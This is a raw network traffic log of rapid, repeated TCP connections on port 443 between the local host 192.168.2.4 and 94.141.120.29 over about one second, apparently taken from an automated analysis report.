Aug 15, 2024 08:10:47.935952902 CEST	443	50409	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.940201998 CEST	50410	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.940279007 CEST	443	50410	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.943578959 CEST	50410	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.952569962 CEST	50410	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.952635050 CEST	443	50410	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.952905893 CEST	443	50410	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.957447052 CEST	50411	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.957525969 CEST	443	50411	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.959589958 CEST	50411	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.968606949 CEST	50411	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.968678951 CEST	443	50411	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.968892097 CEST	443	50411	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.973201990 CEST	50412	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.973279953 CEST	443	50412	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.975481033 CEST	50412	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.984575987 CEST	50412	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.984647989 CEST	443	50412	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.984802008 CEST	443	50412	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.989161015 CEST	50413	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:47.989238977 CEST	443	50413	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:47.989532948 CEST	50413	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.002458096 CEST	50413	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.002528906 CEST	443	50413	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.002737045 CEST	443	50413	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.007282972 CEST	50414	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.007381916 CEST	443	50414	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.007498026 CEST	50414	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.019046068 CEST	50414	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.019151926 CEST	443	50414	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.019262075 CEST	443	50414	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.024393082 CEST	50415	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.024471998 CEST	443	50415	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.024571896 CEST	50415	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.036384106 CEST	50415	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.036458015 CEST	443	50415	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.036721945 CEST	443	50415	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.041321039 CEST	50416	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.041400909 CEST	443	50416	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.041486025 CEST	50416	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.055888891 CEST	50416	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.055962086 CEST	443	50416	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.056216955 CEST	443	50416	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.061480999 CEST	50417	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.061559916 CEST	443	50417	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.061918974 CEST	50417	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.072762012 CEST	50417	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.072835922 CEST	443	50417	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.073071003 CEST	443	50417	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.079273939 CEST	50418	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.079354048 CEST	443	50418	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.079437971 CEST	50418	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.089427948 CEST	50418	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.089464903 CEST	443	50418	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.089699984 CEST	443	50418	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.094300032 CEST	50419	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.094378948 CEST	443	50419	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.094474077 CEST	50419	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.105031967 CEST	50419	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.105128050 CEST	443	50419	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.105312109 CEST	443	50419	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.110160112 CEST	50420	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.110239983 CEST	443	50420	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.110507965 CEST	50420	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.122977018 CEST	50420	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.123060942 CEST	443	50420	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.123284101 CEST	443	50420	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.129265070 CEST	50421	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.129343987 CEST	443	50421	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.129430056 CEST	50421	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.143280983 CEST	50421	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.143387079 CEST	443	50421	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.143629074 CEST	443	50421	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.156795979 CEST	50422	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.156876087 CEST	443	50422	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.157176018 CEST	50422	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.168092012 CEST	50422	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.168158054 CEST	443	50422	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.168257952 CEST	443	50422	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.172818899 CEST	50423	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.172898054 CEST	443	50423	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.173022985 CEST	50423	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.181826115 CEST	50423	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.181863070 CEST	443	50423	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.182111025 CEST	443	50423	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.187763929 CEST	50424	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.187803030 CEST	443	50424	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.188039064 CEST	50424	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.200174093 CEST	50424	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.200212955 CEST	443	50424	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.200444937 CEST	443	50424	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.206614017 CEST	50425	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.206712961 CEST	443	50425	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.206787109 CEST	50425	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.220326900 CEST	50425	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.220398903 CEST	443	50425	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.220630884 CEST	443	50425	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.227123976 CEST	50426	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.227201939 CEST	443	50426	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.227282047 CEST	50426	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.236126900 CEST	50426	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.236200094 CEST	443	50426	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.236526012 CEST	443	50426	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.241684914 CEST	50427	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.241781950 CEST	443	50427	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.241877079 CEST	50427	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.254595041 CEST	50427	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.254664898 CEST	443	50427	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.254764080 CEST	443	50427	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.259907007 CEST	50428	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.259984970 CEST	443	50428	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.260087967 CEST	50428	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.273489952 CEST	50428	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.273561001 CEST	443	50428	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.273809910 CEST	443	50428	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.279639959 CEST	50429	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.279717922 CEST	443	50429	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.280019999 CEST	50429	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.288984060 CEST	50429	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.289019108 CEST	443	50429	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.289266109 CEST	443	50429	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.299129009 CEST	50430	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.299166918 CEST	443	50430	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.299252987 CEST	50430	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.308406115 CEST	50430	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.308444023 CEST	443	50430	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.308577061 CEST	443	50430	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.315907001 CEST	50431	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.315985918 CEST	443	50431	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.316085100 CEST	50431	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.325275898 CEST	50431	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.325350046 CEST	443	50431	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.325606108 CEST	443	50431	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.331845045 CEST	50432	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.331886053 CEST	443	50432	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.331943035 CEST	50432	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.340867043 CEST	50432	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.340879917 CEST	443	50432	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.341001034 CEST	443	50432	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.351156950 CEST	50433	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.351181030 CEST	443	50433	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.351280928 CEST	50433	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.365768909 CEST	50433	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.365781069 CEST	443	50433	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.365891933 CEST	443	50433	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.373276949 CEST	50434	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.373287916 CEST	443	50434	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.373347044 CEST	50434	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.393999100 CEST	50434	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.394011974 CEST	443	50434	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.394222021 CEST	443	50434	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.399713993 CEST	50435	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.399727106 CEST	443	50435	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.399785042 CEST	50435	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.408881903 CEST	50435	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.408893108 CEST	443	50435	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.409176111 CEST	443	50435	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.413759947 CEST	50436	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.413781881 CEST	443	50436	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.413856983 CEST	50436	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.422696114 CEST	50436	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.422707081 CEST	443	50436	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.422960043 CEST	443	50436	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.429426908 CEST	50437	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.429445028 CEST	443	50437	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.429507971 CEST	50437	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.438260078 CEST	50437	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.438271046 CEST	443	50437	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.438543081 CEST	443	50437	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.447149992 CEST	50438	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.447159052 CEST	443	50438	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.447210073 CEST	50438	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.469518900 CEST	50438	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.469532013 CEST	443	50438	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.469707966 CEST	443	50438	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.477787971 CEST	50439	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.477802992 CEST	443	50439	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.478027105 CEST	50439	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.513484955 CEST	50439	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.513497114 CEST	443	50439	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.513770103 CEST	443	50439	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.525638103 CEST	50440	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.525657892 CEST	443	50440	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.525760889 CEST	50440	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.537456036 CEST	50440	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.537470102 CEST	443	50440	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.537725925 CEST	443	50440	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.546030045 CEST	50441	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.546061039 CEST	443	50441	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.546123028 CEST	50441	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.555097103 CEST	50441	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.555110931 CEST	443	50441	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.555372000 CEST	443	50441	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.561459064 CEST	50442	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.561475039 CEST	443	50442	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.561537981 CEST	50442	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.576241970 CEST	50442	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.576267004 CEST	443	50442	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.576453924 CEST	443	50442	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.583627939 CEST	50443	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.583641052 CEST	443	50443	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.583700895 CEST	50443	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.601882935 CEST	50443	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.601892948 CEST	443	50443	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.602127075 CEST	443	50443	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.609509945 CEST	50444	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.609533072 CEST	443	50444	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.609592915 CEST	50444	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.627063036 CEST	50444	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.627072096 CEST	443	50444	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.627178907 CEST	443	50444	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.633744001 CEST	50445	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.633757114 CEST	443	50445	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.633857965 CEST	50445	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.647499084 CEST	50445	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.647507906 CEST	443	50445	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.647732973 CEST	443	50445	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.652071953 CEST	50446	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.652081013 CEST	443	50446	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.652158022 CEST	50446	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.661484003 CEST	50446	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.661494970 CEST	443	50446	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.661781073 CEST	443	50446	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.669336081 CEST	50447	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.669348001 CEST	443	50447	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.669414043 CEST	50447	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.680782080 CEST	50447	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.680793047 CEST	443	50447	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.680862904 CEST	443	50447	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.686357975 CEST	50448	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.686383963 CEST	443	50448	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.686585903 CEST	50448	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.700252056 CEST	50448	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.700270891 CEST	443	50448	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.700622082 CEST	443	50448	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.707050085 CEST	50449	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.707079887 CEST	443	50449	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.707142115 CEST	50449	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.720280886 CEST	50449	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.720294952 CEST	443	50449	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.720582008 CEST	443	50449	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.725891113 CEST	50450	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.725898981 CEST	443	50450	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.725945950 CEST	50450	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.737678051 CEST	50450	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.737693071 CEST	443	50450	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.737951040 CEST	443	50450	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.743989944 CEST	50451	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.744015932 CEST	443	50451	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.744065046 CEST	50451	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.754540920 CEST	50451	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.754559994 CEST	443	50451	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.754817963 CEST	443	50451	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.761465073 CEST	50452	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.761487007 CEST	443	50452	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.761547089 CEST	50452	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.769866943 CEST	50452	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.769880056 CEST	443	50452	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.769993067 CEST	443	50452	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.777445078 CEST	50453	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.777467012 CEST	443	50453	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.777527094 CEST	50453	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.786817074 CEST	50453	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.786827087 CEST	443	50453	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.786885977 CEST	443	50453	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.793344021 CEST	50454	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.793354988 CEST	443	50454	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.797399998 CEST	50454	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.806978941 CEST	50454	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.806988955 CEST	443	50454	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.807110071 CEST	443	50454	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.813627958 CEST	50455	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.813643932 CEST	443	50455	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.813802004 CEST	50455	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.823973894 CEST	50455	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.823992014 CEST	443	50455	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.824141026 CEST	443	50455	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.832817078 CEST	50456	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.832849026 CEST	443	50456	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.832940102 CEST	50456	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.853081942 CEST	50456	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.853097916 CEST	443	50456	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.853364944 CEST	443	50456	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.859106064 CEST	50457	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.859138966 CEST	443	50457	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.859191895 CEST	50457	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.869039059 CEST	50457	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.869056940 CEST	443	50457	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.869225025 CEST	443	50457	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.873508930 CEST	50458	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.873526096 CEST	443	50458	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.873589039 CEST	50458	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.893791914 CEST	50458	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.893811941 CEST	443	50458	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.893861055 CEST	443	50458	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.900597095 CEST	50459	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.900618076 CEST	443	50459	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.900907993 CEST	50459	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.914510965 CEST	50459	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.914520979 CEST	443	50459	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.914741039 CEST	443	50459	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.922156096 CEST	50460	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.922179937 CEST	443	50460	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.922275066 CEST	50460	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.936254025 CEST	50460	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.936270952 CEST	443	50460	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.936397076 CEST	443	50460	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.942451954 CEST	50461	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.942473888 CEST	443	50461	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.942593098 CEST	50461	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.956199884 CEST	50461	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.956212997 CEST	443	50461	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.956538916 CEST	443	50461	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.962512970 CEST	50462	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.962522030 CEST	443	50462	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.962574959 CEST	50462	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.976114988 CEST	50462	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.976125956 CEST	443	50462	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.976191044 CEST	443	50462	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.982183933 CEST	50463	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.982212067 CEST	443	50463	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.982254028 CEST	50463	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.997375011 CEST	50463	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:48.997395039 CEST	443	50463	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:48.997453928 CEST	443	50463	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.003232956 CEST	50464	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.003273010 CEST	443	50464	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.003336906 CEST	50464	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.016760111 CEST	50464	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.016868114 CEST	443	50464	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.016976118 CEST	443	50464	94.141.120.29	192.168.2.4
Aug 15, 2024 08:10:49.023889065 CEST	50465	443	192.168.2.4	94.141.120.29
Aug 15, 2024 08:10:49.023968935 CEST	443	50465	94.141.120.29	192.168.2.4
